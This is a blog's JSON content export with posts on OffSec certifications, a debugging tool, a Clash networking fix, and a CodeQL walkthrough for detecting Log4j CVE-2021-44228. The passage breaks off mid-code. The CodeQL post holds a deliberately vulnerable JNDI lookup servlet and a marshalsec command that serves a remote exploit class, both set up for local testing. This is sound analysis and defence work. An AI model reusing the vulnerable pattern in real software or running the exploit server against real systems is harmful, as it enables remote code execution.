-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 77.6 KB
/
content.json
1
{"pages":[{"title":"Error 404 - Page Not Found","text":"Click me to return to home page","link":"/404.html"},{"title":"About Me","text":"Email: [email protected] Coming soon…","link":"/about/index.html"}],"posts":[{"title":"OSCE3 Review (OSCP+OSEP+OSWE+OSED)","text":"In January 2022, I achieved the OSCE3. This passage includes the reviews of OSCP, OSEP, OSWE, and OSED. This article is also available in 简体中文-OSCP, 简体中文-OSEP, 简体中文-OSWE, 简体中文-OSED. Parts of this article is outdated, please refer to the official information. IntroductionI achieved the OSCP in 2020, achieved the OSWE and OSEP in 2021, achieved OSED in January 2022. Absolutely, It’s a tough journey. PEN200-OSCP Official information about the PEN200-OSCP: https://www.offensive-security.com/pwk-oscp/ OSCP is NOT a part of OSCE3. If you are confident in yourself, it’s not a problem to chase the OSCE3 without OSCP. As we all know, OSCP is the most well-known certification in the OffSec ones. When I was the student of it, I didn’t have any experience of it. As the saying gose, all things are dificult before they are easy. It was so difficult for me, but with the several months hard working, finally I achieved it. Because I took the course and exam in 2020, the updated course, that I was using, contains the content about Active Directory, but there is nothing about AD in exam. From January 11th, 2022 on, the OSCP Exam has changed a lot, the penetration with AD is requied in exam now. We will analyze this later. How to prepareAlthought there is nothing about prerequisites, in my opinion, if you have the capability as below, your journey of leraning PEN200-OSCP will be much more smooth. Competent in debian-based Linux Competent in coding with Python Proficient in using Google and other search engine Apart from this, it’s a good idea to learn the content mentioned in the syllabus by yourself before the beginning of the PEN200 course. It will save your course time. Official Syllabus: penetration-testing-with-kali.pdf (offensive-security.com) If you want to attack some machines as the exercise before taking the OSCP course, there are some platforms such as HackThebox and OffSec Proving. There is a list of OSCP-like boxes offered by TJNull. Get the OSCP-like boxes list: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159 The CourseThe virtual lab environment is shared with all the PEN200-OSCP students. Don’t for get to join the official Discord server, you can find the invitation link in https://portal.offensive-security.com/. You could learn a lot of knowledge about peneration with PEN200 course, such as information gathering, using the exploit, and the privilege escalation. In the exam or during the study, both the Windows and Linux will be met. The most import for the PEN200-OSCP are enumeration and exploitation. With the scanning result, find the suitable exploit with search engines(Google, Github, etc.) If you make a personal cheatsheet when you are reading the teaching material or exercising in the virtual lab environment, it will help you save a lot of time in penetration in the exam and lab. The LabAlthough there are 850+ pages in the PDF, because learning the penetration needs a lot of practice, the lab is the core part of the PEN200 course. Most machines can be solved independently, but there are dependencies between some machines. You need to attack another machine first and obtain enough information in Post-Enumeration to break through another machine. You can find the relevance between the amount of compromised machines in lab and the pass rate in a offical passage. The passage introduced the lab environment in detail, incluing the network topology. A Path to Success in the PWK Labs | Offensive Security (offensive-security.com) The newly added requirement in exam: Active DirectoryChapter 21 of the PEN200 course has talked all the content about AD which will be used in the exam. In my opinion, It is enough to pass the exam(AD part) with these knowledge. Apart from this, there is a detailed example about how to exploit the AD in the last chapter of the course. There are some exercises in lab, too. Although I didn’t take the OSCP exam with AD, I have taken the OSEP exam which is full of examinations for AD. It’s not too hard to master this technology. What you need is just to have a full understanding of the content taught in the course and finish the exercises in the lab. You can ask in the discord official server about what is the IP of AD-associated machines. About the new exam Offical Exam GUIDE: OSCP Exam Guide – Offensive Security Support Portal (offensive-security.com) Because the structure of exam has changed a lot, talking about my exam review doesn’t make sense. I do suggest every student read some exam reviews posted in 2022 or later. The changing about the exam has been introduced by the official in this passage: https://www.offensive-security.com/offsec/oscp-exam-structure/ As we can see, the examination about buffer overflow becomes optional from necessary, the examination about Active Directory becomes required from never taking. The OSCE3 - General InformationAfter the OSCP, the following I will talk about is the 3 certifications consisted the OSCE3. They are more difficult and have higher demand to pass the exam. The WEB300-OSWE mainly examines white-box code assessment. The PEN300-OSEP mainly examines pentest with Active Directory and anti-virus bypassing. The EXP301-OSED mainly examines exploit development with Windows x86. (Binary Security) Horizontal comparison in the OffSec 300 seriesAlthough each one of them focuses on a different field, there still are some differences independent from technology. WEB300-OSWE - The oldest one, the most difficult one in thinking, maybe it’s caused by the updating year by year. However, it’s the easiest for me bacaue of my strong foundation of web security. EXP301-OSED - The latest one, the most difficult one in general, maybe it’s prejudice because fewer people are working on binary security than web security. PEN300-OSEP - Generally, it is thought of as the easiest one of the three, I think it is because of the lower requirement of coding. However, there is a lot of coding in need during learning the course. PEN300-OSEP Official information about the PEN300-OSEP: https://www.offensive-security.com/pen300-osep/ I has owned the OSEP in August 2021, it is the next part of OSCP, focuses on Lateral Movement, Peneration with Active Directory and Anti-Virus Bypassing. It also offers content about fishing and is closer to red teaming. How to prepareThe courses in the 300 series are recognized by OffSec as advanced courses, all of which require more or less development capabilities. The official page also gives the requirements for basic capabilities, as follows Apart from the official prerequisites, in my opinion, owning capability as below could benefit your learning or help you during the exam. Proficient in Powershell, especially able to invoke .Net Framework with PowerShell Proficient in C# and advanced language features, especially the reflection Solid ability in calling Windows API, able to call Windows API with C# Understanding of Microsoft’s Products such as Microsoft SQL Server and ASP.NET The syllabus: PEN-300-Syllabus (offensive-security.com) If you have plenty of time, you could preview each knowledge point following the syllabus, which is also a good choice. Since such an intranet practice environment composed of multiple targets is still relatively rare, I didn’t take any extra exercise. If you want, just choose by yourself. Although I mentioned that OSEP has the lowest development capability requirements in the 300 series certification, why do I still recommend that you master PowerShell and C#? This is because the course will provide in-depth explanations for the various techniques used, including what each line does and how to modify it yourself. Although you can directly save the template code and apply it directly to the exam, I think that it is the most important thing to understand the principles in the course, otherwise you will still be an advanced script kid. About the CourseThe resources of the course are mostly the same as the one of PEN200, but there is a significant difference between the PEN200 Lab and the PEN300 Lab. In the lab of PEN200, every mahines is a individual challenge, but in the lab of PEN300, the most important is Lateral Movement and Penetration with Active Directory, there are several challenges which are consisted of many machines, it can be as little as three or as many as 10. Each machine has different solution to break, such as fishing, lateral movement, SQL vulnerabilities, etc. By the way, it’s not the same as PEN200, the lab environment for the 300 series is not shared with other students. The exam focuses on the ability to examine 4 areas, and it is also where we should focus on learning Lateral Movement ( Including traversing between multiple network segments ) Penetration with Active Directory Anti-Virus Bypassing ( Mainly based on static bypassing ) Client Side Code Execution ( Such as fishing) Compare to PEN200-OSCP, PEN300-OSEP is closer to penetration in the real world. You will find that the antivirus software is working in nearly every machine, but working offline. After gaining administrator privileges, you also need to find a way to disable or bypass these security software, otherwise they will not only hinder you in the stage of obtaining a shell, but also when you perform lateral movement or post-enumeration. About the Exam Offical Exam GUIDE: OSEP Exam Guide – Offensive Security Support Portal (offensive-security.com) Many students learned about OffSec’s certification system only because of the OSCP certification. Compared with other certifications, the examination format of the OSCP certificate is quite unique, while the OSEP adopts a more interesting examination form. In the OSEP exam, we still need to attack each target machine because we are still being examined for penetration testing, but this time we are provided with a simulated environment. OffSec simulates a fictitious target, such as a large company or a bank. The exam provides students with several IPs as exposed security boundary. You can break through in many ways. You can break the security boundary by attacking Web services, exploiting directly, or even phishing. After breaking the security boundary, it’s time to move laterally. Every time you owned a proof.txt or local.txt, you will get 10 points. There are two ways to pass the exam, get 10 flags, that is, 100 points to pass the exam, or finish the ultimate goal of the simulation, the flag is saved in secret.txt, and you can pass the exam directly after getting secret.txt According to the official statement, there are at least two attack paths that can reach secret.txt, which means that either one of the paths is completed, or both paths are almost halfway through, which is relatively flexible, and everyone can choose freely during the exam. During my exam, because the security software in the machine which is in the boundary of another route can’t be bypassed for me, I have to try to get the secret.txt from the way I can break. Luckily, I got the secret.txt and successfully passed the exam. It also passed through more than one network segment. The OSEP exam is so interesting for me. All the technologies used in the OSEP exam have been mentioned in the lab challenges, so I think that as long as you solved all the challenges in the lab like me and master every knowledge point, passing the exam will not be a problem. WEB300-OSWE Official information about the WEB300-OSWE: https://www.offensive-security.com/awae-oswe I has owned the OSWE in April 2021, it’s the first certification about exploit development. How to PrepareThe courses in the 300 series are recognized by OffSec as advanced courses, all of which require more or less development capabilities. The official page also gives the requirements for basic capabilities, as follows As we can see, the requirements for the basics of web coding are relatively high. If you’re a experienced CTF-Web palyer, it’s will be easy. However, the WEB300-OSWE focuses on white-box assessment, which is diffrent from CTF. If you’re not a CTF player and don’t have knowledge about web security. I recommend the basic course by PortSwigger, which is free. https://portswigger.net/web-security/all-materials The Syllabus of WEB300-OSWE: awae-syllabus.pdf (offensive-security.com) If you have looked at it in detail, you can find that most of the course are based on real examples. Both WEB300 and EXP301 are used to study Exploit Development (EXP development), so you will study with real example. If you have mastered the above programming basics and Web vulnerabilities. It’s time to start the journey of WEB300-OSWE officially. About the CourseThe resources of the course are mostly the same as the one of PEN200. The lab is consisted of several chanllenges, which is consist of white-box(main) and black-box, but the exam only examines the white box assessment. The way of learning the WEB300-OSWE course is relatively monotonous. The method I used to learn it is to practice while reading the PDF. After practicing all the examples in the course, I have mostly mastered it. This may be because I was a player in CTF-Web. Due to my experience, this course is not very difficult for me As follwoing, we need to solve the challenges in the lab. It may be too hard for those student who don’t have experience with web assessment, don’t be hesitate to ask others for help in discord. As long as the vulnerability taught in the course can be tested, including client-side attacks like CSRF or collision attacks. For both WEB300-OSWE and EXP301-OSED, I strongly recommend summarizing mind maps while studying, which is extremely helpful for consolidating study and thinking about attack paths in exams About the ExamThe exam examines manual white-box auditing, so you are not allowed to use various automated tools. Each challenge will provide 2 machines. The 2 machines are exactly the same except for the passwords. One is used for students to obtain source code and Analysis, another used to get the Proof. For every challenge, there will be 2 stages, first one is to bypass login, the others is to achieve remote code execution. The full score of the exam is 100 points, and 85 points are passed. There are 2 machines in total, 35 points in the first stage and 15 points in the second stage, which means that the Bypass Login of the two machines must be successful, and RCE only needs to complete one of them. Because I had a lot of spare time for the exam, it took less than 20 hours to get the full score and write the report, so I got it all done. After getting all the Proofs, The student have to write an Exploit to automate the attack. I recommend using Python3 to write exploit scripts. Compared with the course that use real cases as examples, the exam is consisted of OffSec’s self-developed challenges, and the code language used in exam is different for everyone. EXP301-OSED Official information about the EXP301-OSED: https://www.offensive-security.com/exp301-osed/ How to PrepareThe courses in the 300 series are recognized by OffSec as advanced courses, all of which require more or less development capabilities. The official page also gives the requirements for basic capabilities, as follows EXP301-OSED only examines the 32-bit environment of Windows, that is why it is being criticized, because most of the computers are now x64 architecture. However, in fact x86_64 is an upgraded version of the x86 architecture. I think it’s a good choice to learn basic binary research skills by learning x86. If you start directly with x64, the learning curve will be too bumpy In order to be familiar with the 32-bit basic binary exploit, you can choose the CTF-PWN as the entry option, or you can choose the practice questions provided by the ROP Emporium for practice, because this website only provides executables, there is no virtual practice environment. You can use a virtual machine to build a virtual practice environment. Here I recommend a small tool I made myself to build a practice environment. The documentation is on my blog: DIPD Document - 4xpl0r3r’s blog, you can also leave a message below the article about usage issues. ROP Emporium offers 4 practice architectures for each challenge, x86, x86_64, ARMv5, MIPS, if you are only preparing for EXP301-OSED, you only need to practice the challenges in x86 architecture, if you want to feel the difference between x86 and modern x86_64, you can also practice with x86_64, if you want to enter the IoT binary security field, you can study ARM and MIPS, but you need to build a QEMU heterogeneous virtual machine yourself. About the CourseThe resources of the course are mostly the same as the one of PEN200. The learning method I used in the EXP301-OSED course is similar to WEB300-OSWE. My learning method is to practice while reading PDF. After practicing all the examples in the course, I have mostly mastered it. Through repeated practice, I summarized my own methodology. As same as the WEB300-OSWE, it is recommanded to summarize mind maps during learning the EXP3-1-OSED. I concluded that the core content of EXP301-OSED is: stack overflow as the core, study the bypass of DEP and ASLR, and learn the shellcode development with assembly and reverse engineering. These are also the core content in the exam, so you can have a general understanding before taking the course. There are also some small details that need to be paid attention to. The OSED exam allows the use of IDA but not IDA Pro. Only the free version of IDA can be used, which means that the IDA can be only used for disassembly and you can get the pesudo-code by IDA F5. Attention: Debugging is also only possible with WinDbg About the ExamCompared with in course and lab, which generally use real cases as examples, the exams all use challenges developed by OffSec. The exam consists of three independent assignments, with scores of 40, 30, and 30, respectively. The score for passing the exam is 60, so you can pass the exam by completing 2 of the assignments. The 3 tasks of the exam will examine all topics in the syllabus, including reverse engineering, developing exploits to bypass mitigation (i.e. DEP and ASLR), and developing self-made shellcode (developed in assembly language) Compared with the difficulty of thinking, this exam pays more attention to the understanding of the underlying computer, it will be very difficult for students who are not familiar with assembly language, because the amount of code to be read is still not small, most of the challenges are relatively straightforward, and the more creative part I think is building the ROP chain and reverse engineering to find exploitable vulnerability. Every assignment is pretty binary as far as I know, if you have the flag and good docs, it is max score for that challenge, but if any of these is missing, I guess it is 0. Some chanllenges will provide a template exploit, which needs to be further improved, while some chanllenges do not have a template, and need to find vulnerability through reverse engineering There are some important to pay attention You have to use IDA Freeware to perform disassembly, neither IDA Pro and Ghidra are allowed. The exploit have to be written by Python3, \u0010neither other languages and Python2 are allowed. Unlike other OffSec certifications that only need to upload the report and do not need to upload the code, OSED needs to upload the final code of each assignment The EndIf the information you want to know is not mentioned in this article, you are welcome to send me an email to communicate, and you are also welcome to be my online friend, just send me your contact information by email. [email protected] Here are my certifications","link":"/Certifications/OSCE3-Review-OSCP-OSEP-OSWE-OSED/"},{"title":"DIPD Document","text":"4xpl0r3r/DIPD: Debug with IDA and Pwntools in Docker (DIPD) (github.com) This article is also available in 简体中文. AboutWith this, you can debug a program in docker and make use of both IDA and Pwntools SAFT QUICK POWERFUL(IDA) Get Started1git clone https://github.com/4xpl0r3r/DIPD.git Install docker, docker-compose, and IDA (You can deploy them in separated hosts, but the network between them must be OK) move the binary to debug/ directory and rename the binary to todebug run the command docker-compose up in the root directory of this project Access to the STDIO of binary 1nc docker.ip 23458 IDA Pro Debugger Arguments (version 7.6) Type: Remote Linux Debugger (Attach) Hostname: docker.ip (the IP of your host which running docker) Port: 23946 No password need Caution You have to run the binary by netcat or pwntools before attaching the process, or you can’t see the desired process in your IDA You have to run the docker in a 64bit arch Linux to support both 32bit(i386) and 64bit(amd64) debug DemoStart the DIPD 1docker-compose up Run and connect to the STDIO of your binary 1nc docker.ip 23458 Now, your binary should have been running Let’s use our IDA and start the IDA Debugger Input Information and click “OK” Now you can see the processes in your docker, choose ./todebug and click “OK” Now, you should have got into IDA debug view without any error and exception. file - docker-compose.ymlimageYou can choose the base image as you like, here are some useful options 1234i386/ubuntu:16.04i386/ubuntu:18.04amd64/ubuntu:16.04amd64/ubuntu:18.04 You have to run your docker in 64bit Arch to support both i386 and amd64, or the only option is i386 Other argumentsJust have a look at the annotation over there directory - filesdirectory - debsthe apt packages for socat, used for fast install and offline support files - linux_server[64]IDA Debug Server v7.6 If you don’t want to use IDA v7.6, just replace them with yours file - init.shThis file is used for initializing the debug environment, you can modify it to make any adjustment directory - debugJust place the binary you want to debug here If you have an application isn’t having only 1 ELF file, just copy them all to this directory If you don’t want to change the name of your elf file, you could change the argument debug_name in docker-compose.yml","link":"/Docs/DIPD-Document/"},{"title":"Deal with the network issue of UDP services with Clash TUN mode enabled","text":"When the TUN mode is enable in Clash, local UDP service can’t build connection with clients on the Internet. How to diagnose it? How to fix it? This article is also available in 简体中文. BackgroundI’m used to use the TUN mode of ClashX to takeover all the network traffic in my MacOS system to observe the real-time traffic and configure the traffic routing. As the open source alternative of Surge, ClashX has been my actual outbound traffic management center and outbound firewall in my MacOS system. To manage the inbound traffic for MacOS, I still recommend the built-in PF firewall Recently, with the popularity of the PalWorld, I set up the dedicated server in my MacOS with Docker. However, the users from Internet can not connect to my server while everything worked well in my LAN. ( I have the public IP, configured the port mapping) TroubleshootingDiagnose the incoming and outgoing for UDP&TCPFirst, I perform diagnostics on the incoming and outgoing TCP and UDP traffic TCP outgoing traffic, it’s easy to test and find that everything works well. TCP incoming traffic, according to the screenshots below, the communication is normal. The packets from both client and server are received successfully. UDP outgoing traffic, here I tried to access the Google NTP service. we can find that the connection succeeded. UDP ingoing traffic, let’s set up the listening service at the first. Tried to send an UDP packet, we can see the packet is received successfully. It seems like the UDP listening service works well, but really? Tried to send the response packet, it can’t be received. Tried to send the packet from client side again, it can’t be received too. At this time, test in the LAN or without enabling on TUN mode. All connections are normal. The method is the same. So let’s skip them. Diagnosis with WiresharkNow we have confirm the issue, let’s dive deeper with Wireshark. While listening with Wireshark, reproduce the above problematic operation. You may notice my public IP and ports changed, IP changed from 218.79.x.x to 117.131.x.x, the port is 50011 now. Don’t care this. We can find the successfully sent UDP packet with destination port 50011, we received this packet in the server side successfully. The 2nd packet is sent back from the server side, but the client side didn’t received that. We can find the source port in the screenshot, it’s 50131 which is not the same as the service listening port 50011. I believe it’s because Clash remapped the source port in the TUN NIC to avoiding conflict when several proxy clients use the same source port. Then because the source port is different from the destination port in the client side and the client was using the widely used port restricted cone NAT( called NAT in the PlayStation ), the connection failed. But if the client was using restricted cone NAT (NAT2) or full cone NAT (NAT1), I believe the connection could succeed. Solve itNow we have located the root cause - UDP service outgoing traffic flow through the TUN NIC, which made the source port change, so the client with NAT3 rejects the connection. How to solve it? Solution 1 - Configure the routing table manuallySince the problem is that the traffic passes through the TUN NIC, we can specify routing table rules for the specific client IP to use the physical NIC directly and ignore the TUN NIC. In MacOS, I use the following command to indicate the traffic flowing to 117.131.x.x to use the en20 physical NIC and solved the issue successfully. 1sudo route add 117.131.x.x -interface en20 It’s also feasible to change the ClashX client to ClashX.Meta, which allows us to make more detailed configuration for the the TUN mode. Therefore, we can write the configuration file to exclude specific CIDR block automatically when enabling the TUN mode. 123tun: inet4-route-exclude-address: - 117.131.x.x/32 Cons This approach can’t deal with the problem when there are massive clients. Solution 2 - Utilize port forwarding toolsSome port forwarding tools like gost can specify the listening port and send the response packet from the correspond NIC. Here the gost bind the physical NIC (192.168.x.x) and redirect the traffic to the real service. 1gost -L=udp://192.168.x.x:50111/127.0.0.1:50112 Here we can see the packets from both client and server sides are received succesfully. Cons The traffic is redirected in the application layer, which increase the server performance pressure and increase the network latency The server-side application can’t identify the real client IP address anymore. Solution 3 - Bridge the NIC Just a assumption, not tested It’s feasible to use Vmware to create a bridged NIC which connect to the physical NIC directly to ignore the Clash TUN NIC. Cons The port forwarding function in the router may not work with the bridge NIC to make the connection fail. ( I met this condition, my k662c router can’t forward a port to a IP address of a bridge NIC)","link":"/Experience/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/"},{"title":"Using CodeQL to find out Log4j CVE-2021-44228","text":"Although there is a experimental CWE-020 query used for “Potential Log4J LDAP JNDI injection (CVE-2021-44228)” already, but at this time, I want to refit the CWE-074 to make it could find out CVE-2021-44228 This article is also available in 简体中文. IntroductionAs we all know, Log4j is caused by user-controlled JNDI lookup, from the document, I found CodeQL query help covered it and it’s CWE number is CWE-074. Here is the doc: JNDI lookup with user-controlled name Let’s walk through this CWEs and try to use it to find the Log4j CVE-2021-44228 Interpret the CWE-074The CWE-074 Code: https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-074/JndiInjection.ql As we can see, it encapsulated the mots code into semmle.code.java.security.JndiInjectionQuery By the comments in the code, we can know that this lib is used to provide taint tracking configurations to be used in JNDI injection queries. And in it, we can find that it requires 4 libs as following semmle.code.java.dataflow.FlowSources Provides classes representing various flow sources for taint tracking This is a basic lib for CodeQL semmle.code.java.frameworks.Jndi Provides classes and predicates for working with the Java JNDI API. semmle.code.java.frameworks.SpringLdap Provides classes and predicates for working with the Spring LDAP API. semmle.code.java.security.JndiInjection Provides classes and predicates to reason about JNDI injection vulnerabilities. It’s important for us, so we will analyze it Interpreter JndiInjection.qllClass DefaultJndiInjectionSinkIt invokes the internal experimental API, and in practice, I found that it could locate the JNDI lookup function This code written by myself as following works as same as the sinkNode invokes. 123456exists(MethodAccess ma, Method m | ma.getMethod() = m and this.asExpr() = ma.getAnArgument() and m.getDeclaringType().hasQualifiedName("javax.naming","Context") and m.hasName("lookup")) Class ConditionedJndiInjectionSinkThis class extends JndiInjectionSink and DataFlow::ExprNode, so it’s a Node and also a ExprNode. The codeql judge code is as bellow 1234567891011exists(MethodAccess ma, Method m | ma.getMethod() = m and ma.getArgument(0) = this.asExpr() and m.getDeclaringType().getASourceSupertype*() instanceof TypeLdapOperations | m.hasName("search") and ma.getArgument(3).(CompileTimeConstantExpr).getBooleanValue() = true or m.hasName("unbind") and ma.getArgument(1).(CompileTimeConstantExpr).getBooleanValue() = true ) Let’s divide it into 3 parts by the | operand . 1MethodAccess ma, Method m Firstly, there are a method access and a method. 123ma.getMethod() = m andma.getArgument(0) = this.asExpr() andm.getDeclaringType().getASourceSupertype*() instanceof TypeLdapOperations The method access accessed the m method and the sink as expression is the method access’ first argument and the method is Ldap operation 12345m.hasName("search") andma.getArgument(3).(CompileTimeConstantExpr).getBooleanValue() = trueorm.hasName("unbind") andma.getArgument(1).(CompileTimeConstantExpr).getBooleanValue() = true the method could be search and it’s third argument should be true at compile time or the method could be unbind and it’s first argument should be true at compile time What’s the meaning of this? Let’s check it in real code. TypeLdapOperations includes 2 classes org.springframework.ldap.core org.springframework.ldap So this is only for the condition with SpringFramework, but this time, I want to find out a more general conditional without any framework. However, it’s a good idea to analyze it next time. Class ProviderUrlJndiInjectionSinkAs the comment said, it could find out the sink about the provider URL. 1234/** * Tainted value passed to env `Hashtable` as the provider URL by calling * `env.put(Context.PROVIDER_URL, tainted)` or `env.setProperty(Context.PROVIDER_URL, tainted)`. */ 12345678910111213141516exists(MethodAccess ma, Method m | ma.getMethod() = m and ma.getArgument(1) = this.getExpr()| m.getDeclaringType().getASourceSupertype*() instanceof TypeHashtable and (m.hasName("put") or m.hasName("setProperty")) and ( ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = "java.naming.provider.url" or exists(Field f | ma.getArgument(0) = f.getAnAccess() and f.hasName("PROVIDER_URL") and f.getDeclaringType() instanceof TypeNamingContext ) )) m.getDeclaringType().getASourceSupertype*() instanceof TypeHashtable means m Method should be sub of java.util.Hashtable. (m.hasName("put") or m.hasName("setProperty")) indicates the name of the method The final part indicates the first parameter should be a String java.naming.provider.url or a Field with type javax.naming.Context and the name should be PROVIDER_URL 123456789( ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = "java.naming.provider.url" or exists(Field f | ma.getArgument(0) = f.getAnAccess() and f.hasName("PROVIDER_URL") and f.getDeclaringType() instanceof TypeNamingContext )) So, obviously, if the user input could only control the provider URL, this query still could locate it. Class DefaultJndiInjectionAdditionalTaintStep A set of additional taint steps to be considered for taint tracking JNDI injection related data flows, in order to avoid taint tracking breaks when invoking third-party packages. nameStep(node1, node2) holds if n1 to n2 is a dataflow step that converts between String and CompositeName or CompoundName by calling new CompositeName(tainted) or new CompoundName(tainted). nameAddStep(node1, node2) holds if n1 to n2 is a dataflow step that converts between String and CompositeName or CompoundName by calling new CompositeName().add(tainted) or new CompoundName().add(tainted). jmxServiceUrlStep(node1, node2) holds if n1 to n2 is a dataflow step that converts between String and JMXServiceURL by calling new JMXServiceURL(tainted). jmxConnectorStep(node1, node2) holds if n1 to n2 is a dataflow step that converts between JMXServiceURL and JMXConnector by calling JMXConnectorFactory.newJMXConnector(tainted). rmiConnectorStep(node1, node2) holds if n1 to n2 is a dataflow step that converts between JMXServiceURL and RMIConnector by calling new RMIConnector(tainted). Interpreter JndiInjectionQuery.qllNow, let’s advance to the “query” lib, here contains some information about how to perform global taint tracking. Class JndiInjectionFlowConfig123456789101112131415class JndiInjectionFlowConfig extends TaintTracking::Configuration { JndiInjectionFlowConfig() { this = "JndiInjectionFlowConfig" } override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink } override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType } override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) { any(JndiInjectionAdditionalTaintStep c).step(node1, node2) }} It applied the JndiInjectionSink as the Sink to track isSanitizer defines the condition that the result should be removed, in this case, if the node is a primitiveType or a BoxedType (Wrapped primitiveType), it will be removed. isAdditionalTaintStep adds additional taint steps, in this case, it uses JndiInjectionAdditionalTaintStep, while using this lib, the any filter indicates that we will any available subclass and here we will use class DefaultJndiInjectionAdditionalTaintStep which has been interpreted. Class UnsafeSearchControlsSink A method that does a JNDI lookup when it receives a SearchControls argument with setReturningObjFlag = true This class defined the unsafe search controls sink 12345exists(UnsafeSearchControlsConf conf, MethodAccess ma | conf.hasFlowTo(DataFlow::exprNode(ma.getAnArgument()))| this.asExpr() = ma.getArgument(0)) As we can see, it requires UnsafeSearchControlsConf, it defines the source and the sink of the flow, the source should be UnsafeSearchControls and the sink should be UnsafeSearchControlsArgument. UnsafeSearchControls: A SearchControls object with setReturningObjFlag = true. https://docs.oracle.com/javase/8/docs/api/javax/naming/directory/SearchControls.html setReturningObjFlag enables/disables returning objects returned as part of the result. UnsafeSearchControlsArgument: An argument of type SearchControls of an LdapOperations.search or DirContext.search call. So the sink should be a method access’ first argument and one of the method access ‘ arguments will be flowed in following the rule defined in UnsafeSearchControlsConf. Test JndiInjection.ql with Java codeJndiInjection.ql just simply invoked path query with JndiInjectionFlowConfig. Here is the test code and part of it is extracted from the official demo. 123456789101112131415161718192021222324public void doGet(HttpServletRequest request, HttpServletResponse response) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); // necessary for Java 8 String name = request.getParameter("name"); Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099"); // Match ProviderUrlJndiInjectionSink InitialContext ctx = null; try { ctx = new InitialContext(env); // BAD: User input used in lookup ctx.lookup(name); // GOOD: The name is validated before being used in lookup// if (isValid(name)) {// ctx.lookup(name);// } else {// // Reject the request// } } catch (NamingException e) { throw new RuntimeException(e); }} 1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:4444/\\#Exploit 1099 12jdk8codeql database create cwe074-test --language=java --source-root=/Users/kano/Workspace/IdeaProjects/demo12 We got the expected result. Verify the previous analysis with Quick evaluation DefaultJndiInjectionSink located String name = request.getParameter("name"); ProviderUrlJndiInjectionSink located env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099"); Excellent, this query works very well. Advance to Log4j CVE-2021-44228Introduce org.apache.logging.log4j-2.14.1 which you can find here Prepare the database for CodeQLAfter configuring the toolchains-sample-*.xml, we can get the CodeQL database. For better performance, we can exclude useless projects in modules section. 123456789101112131415161718192021222324252627282930313233343536<modules> <module>log4j-api-java9</module> <module>log4j-api</module> <module>log4j-core-java9</module> <module>log4j-core</module> <!-- <module>log4j-layout-template-json</module> <module>log4j-core-its</module> <module>log4j-1.2-api</module> <module>log4j-slf4j-impl</module> <module>log4j-slf4j18-impl</module> <module>log4j-to-slf4j</module> <module>log4j-jcl</module> <module>log4j-flume-ng</module> <module>log4j-taglib</module> <module>log4j-jmx-gui</module> <module>log4j-samples</module> <module>log4j-bom</module> <module>log4j-jdbc-dbcp2</module> <module>log4j-jpa</module> <module>log4j-couchdb</module> <module>log4j-mongodb3</module> <module>log4j-mongodb4</module> <module>log4j-cassandra</module> <module>log4j-web</module> <module>log4j-perf</module> <module>log4j-iostreams</module> <module>log4j-jul</module> <module>log4j-jpl</module> <module>log4j-liquibase</module> <module>log4j-appserver</module> <module>log4j-osgi</module> <module>log4j-docker</module> <module>log4j-kubernetes</module> <module>log4j-spring-boot</module> <module>log4j-spring-cloud-config</module> --> </modules> 1codeql database create log4j-db -l java -s logging-log4j2-rel-2.14.1/ -c './mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=true' Locate the sourceThrough debugging, we can know that the user input source is located in the various log functions in log4j-api/src/main/java/org/apache/logging/log4j/spi/AbstractLogger.java, like debug, info,error, and all of them will invoke logIfEnabled with “message” or “messageSupplier” parameter as log message. So the source should be like this 123456789class Log4jFlowSource extends DataFlow::Node{ Log4jFlowSource(){ this.asParameter().getCallable().hasName("logIfEnabled") and ( this.asParameter().hasName("message") or this.asParameter().hasName("messageSupplier") ) }} And we need a new TaintTracking::Configuration 12345678910111213141516171819class JndiInjectionFlowConfigInLog4j extends TaintTracking::Configuration{ JndiInjectionFlowConfigInLog4j() { this = "JndiInjectionFlowConfigInLog4j" } override predicate isSource(DataFlow::Node source) { source instanceof Log4jFlowSource } override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink } override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType } override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) { any(JndiInjectionAdditionalTaintStep c).step(node1, node2) }}from DataFlow::PathNode source, DataFlow::PathNode sink, JndiInjectionFlowConfigInLog4j confwhere conf.hasFlowPath(source, sink)select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(), "this user input" Just changed the isSource part and the other remains the same as JndiInjectionFlowConfig. Run this query, we got this Lucky! We successfully find a path proved that the user input could be passed to JNDI lookup. Full code is shown as bellow. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546/** * @name JNDI lookup with user-controlled name in Log4j Lib * @description Performing a JNDI lookup with a user-controlled name can lead to the download of an untrusted * object and to execution of arbitrary code. * @kind path-problem * @problem.severity error * @security-severity 9.8 * @precision high * @id java/jndi-injection * @tags security * external/cwe/cwe-074 */import javaimport semmle.code.java.security.JndiInjectionQueryimport DataFlow::PathGraphclass JndiInjectionFlowConfigInLog4j extends TaintTracking::Configuration{ JndiInjectionFlowConfigInLog4j() { this = "JndiInjectionFlowConfigInLog4j" } override predicate isSource(DataFlow::Node source) { source instanceof Log4jFlowSource } override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink } override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof 